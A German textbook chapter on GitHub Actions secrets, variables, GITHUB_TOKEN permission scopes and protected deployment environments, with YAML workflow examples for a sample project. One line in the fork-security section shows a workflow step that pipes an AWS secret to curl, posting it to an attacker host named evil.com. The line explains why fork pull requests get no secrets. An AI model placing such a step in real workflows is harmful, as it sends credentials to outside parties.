22 Secrets, Variables und Permissions

Workflows ohne Secrets sind harmlos – und meistens nutzlos. Sobald ein Deployment zu AWS laufen soll, ein API-Call authentifiziert werden muss oder ein Package zu PyPI hochgeladen wird, kommen Secrets ins Spiel. Und mit Secrets kommt Verantwortung: Wer darf was? Wie schützt man sensitive Daten? Wie verhindert man, dass ein Fehler im Workflow alle Produktions-Credentials kompromittiert?

Dieses Kapitel zeigt, wie GitHub Actions Secrets und Variables verwaltet, wie das Permissions-Modell funktioniert und wie man mit Environments gestaffelte Deployments mit Sicherheits-Checks aufbaut. Am Ende haben wir ein produktionsreifes Deployment-Setup für badge-gen mit minimalen Token-Rechten und Environment-Protection.

22.1 GITHUB_TOKEN – der automatische Workflow-Zugang

Jeder Workflow-Job bekommt automatisch ein GITHUB_TOKEN. Das ist kein Secret, das man manuell anlegt – GitHub generiert es bei jedem Job-Start neu.

22.1.1 Was ist GITHUB_TOKEN?

Technisch gesehen ist GITHUB_TOKEN ein GitHub App Installation Access Token. Wenn GitHub Actions in einem Repository aktiviert wird, installiert GitHub eine App. Diese App erzeugt für jeden Job einen Token, der:

jobs:
  example:
    runs-on: ubuntu-latest
    steps:
      - name: Create issue via API
        run: |
          curl --request POST \
            --url https://api.github.com/repos/${{ github.repository }}/issues \
            --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \
            --header 'content-type: application/json' \
            --data '{"title": "Automated issue", "body": "Created by workflow"}'

Das Token ist im secrets Context verfügbar, aber auch direkt über github.token.

22.1.2 Default-Permissions – zu großzügig oder zu restriktiv?

Hier wird es interessant: Was darf GITHUB_TOKEN standardmäßig?

Historisch (vor 2023): Read/Write auf fast alles. Das war praktisch, aber unsicher. Ein kompromittierter Workflow konnte Code überschreiben, Releases manipulieren, Issues massenhaft anlegen.

Aktuell (ab 2023): Read-only als Default für neue Repositories. Das ist sicherer, bricht aber viele Workflows, die schreibend auf das Repository zugreifen wollen.

Die Default-Permissions werden auf Repository-Ebene konfiguriert: Settings → Actions → General → Workflow permissions

Zwei Optionen:

  1. Read repository contents and packages permissions (read-only)
  2. Read and write permissions (alles erlaubt)

Best Practice: Read-only als Default, dann explizit in Workflows Permissions setzen, wo nötig.

22.1.3 Permissions granular setzen

Statt globale Repository-Settings zu nutzen, definiert man Permissions im Workflow:

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      issues: write
      pull-requests: write
    steps:
      - uses: actions/checkout@v4
      - name: Comment on PR
        run: |
          gh pr comment ${{ github.event.pull_request.number }} \
            --body "Build successful!"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Wichtig: Sobald permissions gesetzt ist, sind alle nicht aufgeführten Scopes auf none. Das ist explizit, aber radikal.

22.1.4 Verfügbare Permission-Scopes

Scope Read Write Beispiel Use-Case
actions Workflow-Runs lesen Workflows abbrechen CI-Dashboard
attestations Attestations lesen Attestations erstellen Supply Chain Security
checks Check-Runs lesen Check-Runs erstellen Test-Reporter
contents Code auschecken Code pushen, Tags erstellen Release-Automation
deployments Deployments lesen Deployments erstellen CD-Pipeline
discussions Discussions lesen Discussions erstellen Community-Bot
issues Issues lesen Issues erstellen/schließen Auto-Triage
packages Packages lesen Packages publizieren Docker-Registry
pages Pages lesen Pages deployen GitHub Pages
pull-requests PRs lesen PRs kommentieren Code-Review-Bot
security-events Security-Scans lesen Security-Alerts erstellen SARIF-Upload
statuses Commit-Status lesen Commit-Status setzen CI-Status-Check
id-token OIDC-Token anfordern Cloud-Auth (AWS, Azure, GCP)

Besonderheit metadata: Immer auf read, nicht konfigurierbar. Ermöglicht Zugriff auf Repository-Metadaten (Name, Beschreibung, etc.).

22.1.5 Permissions auf Workflow-Level vs. Job-Level

Permissions können global für den gesamten Workflow oder pro Job gesetzt werden:

# Workflow-Level: Gilt für ALLE Jobs
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
  
  deploy:
    runs-on: ubuntu-latest
    # Job-Level: Überschreibt Workflow-Level für diesen Job
    permissions:
      contents: write
      pages: write
    steps:
      - name: Deploy to GitHub Pages
        run: ./deploy.sh

Strategie:

Das folgt dem Principle of Least Privilege: Nur die nötigen Rechte, nur dort wo gebraucht.

22.1.6 Was GITHUB_TOKEN NICHT kann

  1. Andere Repositories ansprechen: Token ist auf ein Repository beschränkt
  2. Workflows triggern: Events von GITHUB_TOKEN lösen keine neuen Workflows aus (verhindert Endlosschleifen)
  3. GitHub Pages Builds triggern: Commits mit GITHUB_TOKEN starten keinen Pages-Build
  4. Secrets lesen: Token hat keinen Zugriff auf Repository-Secrets

Für diese Use-Cases braucht man Personal Access Tokens oder GitHub Apps (mehr dazu in Kapitel 7).

22.2 Secrets – sensitive Daten schützen

Secrets sind verschlüsselte Environment-Variablen für sensitive Daten: API-Keys, Passwörter, Tokens, Zertifikate.

22.2.1 Secret-Hierarchie: Repository, Organization, Environment

GitHub bietet drei Ebenen für Secrets:

Precedence (Vorrang):
Environment > Repository > Organization

Ein Environment-Secret überschreibt ein gleichnamiges Repository-Secret.

22.2.1.1 Repository Secrets

Verfügbar für alle Workflows im Repository.

Anlegen:
Settings → Secrets and variables → Actions → Secrets → New repository secret

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Deploy to server
        env:
          DEPLOY_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
        run: |
          echo "$DEPLOY_KEY" > deploy_key
          chmod 600 deploy_key
          scp -i deploy_key app.tar.gz user@server:/app/

22.2.1.2 Organization Secrets

Für mehrere Repositories in einer Organization. Reduziert Duplikation (z.B. AWS-Credentials für alle Projekte).

Access-Policy:

Wichtig: Organization Secrets sind nicht verfügbar für private Repositories auf GitHub Free.

22.2.1.3 Environment Secrets

Gebunden an Environments (z.B. staging, production). Nur verfügbar, wenn Job das Environment referenziert:

jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Deploy
        env:
          API_KEY: ${{ secrets.PROD_API_KEY }}
        run: ./deploy.sh

Wenn production Environment Required Reviewers hat, muss der Deployment erst genehmigt werden, bevor der Job PROD_API_KEY sehen kann.

22.2.2 Secret-Limits und Naming

Limit Wert
Max. Secret-Größe 48 KB
Max. Secrets pro Repository 100
Max. Organization Secrets (zugänglich pro Repo) 100
Max. Environment Secrets 100

Naming-Rules:

Beispiele: - ✅ AWS_ACCESS_KEY_ID - ✅ PROD_DATABASE_PASSWORD - ❌ GITHUB_SECRET (reserviertes Prefix) - ❌ 123_API_KEY (beginnt mit Zahl)

22.2.3 Secret-Redaction in Logs

GitHub maskiert automatisch Secret-Werte in Logs:

steps:
  - name: Print secret (wird maskiert)
    run: echo "${{ secrets.API_KEY }}"

Log-Output:

***

Aber Achtung: Transformierte Secrets werden nicht maskiert:

steps:
  - name: Base64-encode secret
    run: |
      ENCODED=$(echo "${{ secrets.API_KEY }}" | base64)
      echo "Encoded: $ENCODED"  # WIRD NICHT MASKIERT!

Lösung: ::add-mask:: manuell setzen:

steps:
  - name: Base64-encode secret
    run: |
      ENCODED=$(echo "${{ secrets.API_KEY }}" | base64)
      echo "::add-mask::$ENCODED"
      echo "Encoded: $ENCODED"  # Jetzt maskiert

22.2.4 Secrets in Forks – Security-Modell

Pull Requests von Forks haben KEINEN Zugriff auf Repository-Secrets (außer GITHUB_TOKEN, mit read-only Permissions).

Warum? Sicherheit. Sonst könnte jeder Contributor ein PR mit diesem Code öffnen:

- run: echo "${{ secrets.AWS_ACCESS_KEY }}" | curl -X POST https://evil.com/steal

Exception: Admins können “Send write tokens to workflows from pull requests” aktivieren. Niemals tun bei public Repositories!

22.2.5 Secrets vs. Variables – wann was?

GitHub bietet auch Variables (nicht verschlüsselt):

Feature Secrets Variables
Verschlüsselt ✅ Ja ❌ Nein
In Logs sichtbar ❌ Maskiert ✅ Plain text
Wert einsehbar ❌ Nein ✅ Ja (in UI)
Use-Case Credentials, API-Keys URLs, Configs, Feature-Flags

Faustregel:
Secrets = würde Schaden anrichten, wenn öffentlich
Variables = OK, wenn jemand es sieht

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      API_URL: ${{ vars.API_URL }}  # Variable: OK sichtbar
      API_KEY: ${{ secrets.API_KEY }}  # Secret: muss geschützt sein
    steps:
      - run: curl -H "Authorization: Bearer $API_KEY" $API_URL

22.3 Environments – Deployment-Kontrolle

Environments sind mehr als nur ein Namespace für Secrets. Sie sind Deployment-Gates mit Protection Rules.

22.3.1 Environment erstellen

Settings → Environments → New environment

Ein Environment kann haben:

22.3.2 Required Reviewers – manuelle Freigabe

Use-Case: Production-Deployments sollen erst nach Code-Review freigegeben werden.

Konfiguration:

  1. Environment erstellen: production
  2. Protection Rules → Required reviewers
  3. Bis zu 6 Personen/Teams auswählen

Im Workflow:

jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Deploy
        run: ./deploy-to-production.sh

Ablauf:

  1. Workflow startet
  2. Job deploy-prod wartet auf Approval
  3. Notification an Reviewer
  4. Reviewer genehmigt (oder lehnt ab)
  5. Bei Approval: Job läuft weiter
  6. Bei Rejection: Job wird abgebrochen

Prevent self-review: Checkbox verhindert, dass der Workflow-Starter selbst approved. Verhindert “merge & approve eigenen Code”.

22.3.3 Wait Timer – zeitgesteuerte Verzögerung

Use-Case: “Kühlphase” vor Production-Deployments. Gibt Zeit, staging zu monitoren.

Konfiguration:
Protection Rules → Wait timer → 30 Minuten

jobs:
  deploy-staging:
    environment: staging
    steps:
      - run: ./deploy-staging.sh
  
  deploy-production:
    needs: deploy-staging
    environment: production  # 30 Minuten Wait Timer
    steps:
      - run: ./deploy-production.sh

Ablauf:

  1. deploy-staging läuft durch
  2. deploy-production wartet 30 Minuten
  3. Nach 30 Minuten: Deployment startet automatisch

Kombination mit Required Reviewers:
Beides ist möglich. Job wartet erst Timer ab, dann auf Approval.

22.3.4 Deployment Branches – Branch-Protection

Use-Case: Nur main und release/* Branches dürfen nach Production deployen.

Konfiguration:
Deployment branches → Protected branches only
oder
Deployment branches → Selected branches → main, release/*

Workflows von anderen Branches (z.B. feature/xyz) werden beim Zugriff auf production Environment abgelehnt:

Error: The deployment to 'production' was rejected because the branch 'feature/xyz' is not allowed.

22.3.5 Custom Deployment Protection Rules

Enterprise-Feature: Integration mit externen Tools (Datadog, Honeycomb, ServiceNow) für automatische Quality-Gates.

Beispiel Datadog: Deployment nur erlaubt, wenn Error-Rate < 5% in den letzten 15 Minuten.

Beispiel Honeycomb: Deployment nur erlaubt, wenn P95-Latency < 500ms.

Die Custom Rules sind GitHub Apps, die per Webhook bei Deployments aufgerufen werden und approved oder rejected zurückgeben.

Limits: Max. 6 Protection Rules pro Environment gleichzeitig aktiv.

22.4 Praxis: GitHub Pages Deployment mit Minimal-Permissions

Badge-gen soll eine statische Website (Badge-Galerie) zu GitHub Pages deployen.

22.4.1 Naiver Ansatz (zu viele Rechte)

name: Deploy to GitHub Pages

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions: write-all  # ⚠️ Zu viel!
    steps:
      - uses: actions/checkout@v4
      - name: Build site
        run: |
          mkdir dist
          python scripts/generate_gallery.py > dist/index.html
      - name: Deploy
        uses: peaceiris/actions-gh-pages@v4
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./dist

Problem: permissions: write-all gibt: - contents: write (kann Code überschreiben!) - issues: write (kann Issues massenweise anlegen) - packages: write (kann Packages manipulieren) - … und 10 weitere Scopes

Risiko: Wenn actions-gh-pages kompromittiert wird, kann es das gesamte Repository übernehmen.

22.4.2 Besserer Ansatz (Least Privilege)

name: Deploy to GitHub Pages

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pages: write
      id-token: write
    steps:
      - uses: actions/checkout@v4
      
      - name: Build site
        run: |
          mkdir dist
          python scripts/generate_gallery.py > dist/index.html
      
      - name: Setup Pages
        uses: actions/configure-pages@v4
      
      - name: Upload artifact
        uses: actions/upload-pages-artifact@v3
        with:
          path: ./dist
      
      - name: Deploy to GitHub Pages
        uses: actions/deploy-pages@v4

Permissions-Analyse: - contents: read – Zum Auschecken des Codes - pages: write – Zum Deployen zu GitHub Pages - id-token: write – Für OIDC-basierte Pages-Authentifizierung

Alles andere: none

Das ist Least Privilege: Nur die minimal nötigen Rechte.

22.5 Praxis: Environment-basiertes Deployment-System

Badge-gen bekommt zwei Environments: staging und production.

22.5.1 Environment-Setup

Staging:

Production:

22.5.2 Workflow mit Environment-Strategie

name: Build and Deploy

on:
  push:
    branches: [main, develop]

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: '3.12'
      - name: Build package
        run: python -m build
      - name: Upload artifact
        uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/
  
  deploy-staging:
    needs: build
    if: github.ref == 'refs/heads/develop'
    runs-on: ubuntu-latest
    environment: staging
    permissions:
      id-token: write
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
      - name: Publish to Test PyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        with:
          repository-url: https://test.pypi.org/legacy/
          password: ${{ secrets.STAGING_PYPI_TOKEN }}
  
  deploy-production:
    needs: build
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    permissions:
      id-token: write
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
      - name: Wait for manual approval
        run: echo "Waiting for reviewers..."
      
      - name: Publish to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        with:
          password: ${{ secrets.PROD_PYPI_TOKEN }}

Workflow-Logik:

Sicherheits-Features:

  1. Secrets isoliert: Staging-Token kann niemals Production ansprechen
  2. Branch-Protection: main → Production, develop → Staging
  3. Review-Gate: 2 Approvals für Production nötig
  4. Wait Timer: 10 Minuten “Soak Time” nach Build
  5. Minimal Permissions: Nur id-token: write für OIDC

22.5.3 OIDC statt Long-Lived Secrets

Problem mit Secrets: PyPI-Token ist langlebig (Monate/Jahre). Bei Leak: großer Schaden.

Lösung: OpenID Connect (OIDC). GitHub generiert kurzlebige Tokens (minutes), die PyPI direkt validiert.

Setup:

  1. PyPI: Trusted Publisher konfigurieren (GitHub Actions von owner/repo)
  2. Workflow: id-token: write Permission
  3. Action: pypa/gh-action-pypi-publish ohne password
- name: Publish to PyPI (OIDC)
  uses: pypa/gh-action-pypi-publish@release/v1
  # Kein password! Token wird automatisch via OIDC generiert

Vorteile:

22.6 Edge-Cases und Häufige Fehler

22.6.1 Problem: Secret wird trotz Maskierung geloggt

Szenario:

- name: Debug
  run: |
    VALUE="${{ secrets.API_KEY }}"
    echo "The key is: ${VALUE:0:3}..."  # Substring

Output:

The key is: sk-...

Ursache: Substring/Transformation wird nicht als Secret erkannt.

Lösung: Manuelle Maskierung:

- name: Debug
  run: |
    VALUE="${{ secrets.API_KEY }}"
    SUBSTRING="${VALUE:0:3}"
    echo "::add-mask::$SUBSTRING"
    echo "The key is: $SUBSTRING..."

22.6.2 Problem: Permission denied beim Checkout

Fehler:

Error: The process '/usr/bin/git' failed with exit code 128
fatal: could not read Username for 'https://github.com': terminal prompts disabled

Ursache: contents: read Permission fehlt.

Lösung:

jobs:
  build:
    permissions:
      contents: read  # ← Explizit setzen
    steps:
      - uses: actions/checkout@v4

22.6.3 Problem: Environment-Secret nicht verfügbar

Szenario:

jobs:
  deploy:
    runs-on: ubuntu-latest
    # environment: production  ← VERGESSEN!
    steps:
      - run: echo "${{ secrets.PROD_API_KEY }}"  # Empty!

Ursache: Environment nicht referenziert → Environment-Secrets nicht geladen.

Lösung: environment: production setzen.

22.6.4 Problem: GITHUB_TOKEN kann nicht in anderen Repo pushen

Szenario: Workflow will in owner/docs-repo pushen.

Fehler:

remote: Permission to owner/docs-repo.git denied to github-actions[bot].

Ursache: GITHUB_TOKEN ist nur auf das aktuelle Repository beschränkt.

Lösung:

  1. Personal Access Token (PAT) mit repo Scope als Secret anlegen
  2. PAT im Workflow nutzen:
- uses: actions/checkout@v4
  with:
    repository: owner/docs-repo
    token: ${{ secrets.CROSS_REPO_PAT }}

22.6.5 Problem: Secrets in strukturierten Daten

Szenario:

- run: |
    echo '{"api_key": "${{ secrets.API_KEY }}"}' > config.json
    cat config.json  # Secret wird geloggt!

Ursache: GitHub erkennt Secrets in JSON/YAML nicht immer.

Best Practice: Secrets direkt als Environment-Variablen, nicht in Files:

- run: node app.js
  env:
    API_KEY: ${{ secrets.API_KEY }}

22.7 Security Best Practices

1. Principle of Least Privilege
Setze Permissions so restriktiv wie möglich. Starte mit contents: read, erweitere nur wo nötig.

2. Environment-Secrets für Production
Production-Credentials niemals als Repository-Secrets. Immer mit Required Reviewers schützen.

3. Secrets rotieren
Langlebige Secrets regelmäßig erneuern (30-90 Tage). Besser: OIDC statt Secrets.

4. Fork-PR-Sicherheit
Bei public Repos: Niemals “Send write tokens to pull requests” aktivieren.

5. Secret-Scanning aktivieren
GitHub Secret Scanning erkennt versehentlich committete Secrets. Sollte immer an sein.

6. Structured Data vermeiden
Secrets nicht in JSON/YAML/XML einbetten. Direkt als Environment-Variablen nutzen.

7. Third-Party Actions vorsichtig nutzen
Actions mit write Permissions können Secrets sehen. Nur vertrauenswürdige Actions nutzen, idealerweise über Commit-SHA gepinnt (Kapitel 6).

8. Audit-Logs prüfen
Organization Owners: Regelmäßig Audit-Logs für Secret-Zugriffe checken.